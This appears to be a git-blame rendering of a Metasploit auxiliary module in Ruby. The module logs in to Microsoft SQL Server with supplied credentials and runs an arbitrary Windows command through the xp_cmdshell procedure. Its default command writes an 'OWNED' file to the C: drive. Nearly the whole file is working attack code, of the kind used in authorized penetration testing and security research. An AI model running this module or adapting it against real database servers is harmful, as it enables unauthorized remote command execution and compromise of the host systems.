2009-01-12 05:18:05 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2009-01-12 05:18:05 +00:00
|
|
|
##
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::MSSQL
|
2010-07-01 23:33:07 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Microsoft SQL Server xp_cmdshell Command Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
This module will execute a Windows command on a MSSQL/MSDE instance
|
|
|
|
via the xp_cmdshell procedure. A valid username and password is required
|
|
|
|
to use this module
|
|
|
|
},
|
|
|
|
'Author' => [ 'tebo <tebo[at]attackresearch.com>' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'URL', 'http://msdn.microsoft.com/en-us/library/cc448435(PROT.10).aspx'],
|
|
|
|
]
|
|
|
|
))
|
2009-01-12 05:18:05 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options( [
|
|
|
|
OptString.new('CMD', [ false, 'Command to execute', 'cmd.exe /c echo OWNED > C:\\owned.exe']),
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2009-01-12 05:18:05 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run
|
|
|
|
mssql_xpcmdshell(datastore['CMD'], true) if mssql_login_datastore
|
|
|
|
end
|
2009-01-12 05:18:05 +00:00
|
|
|
end
|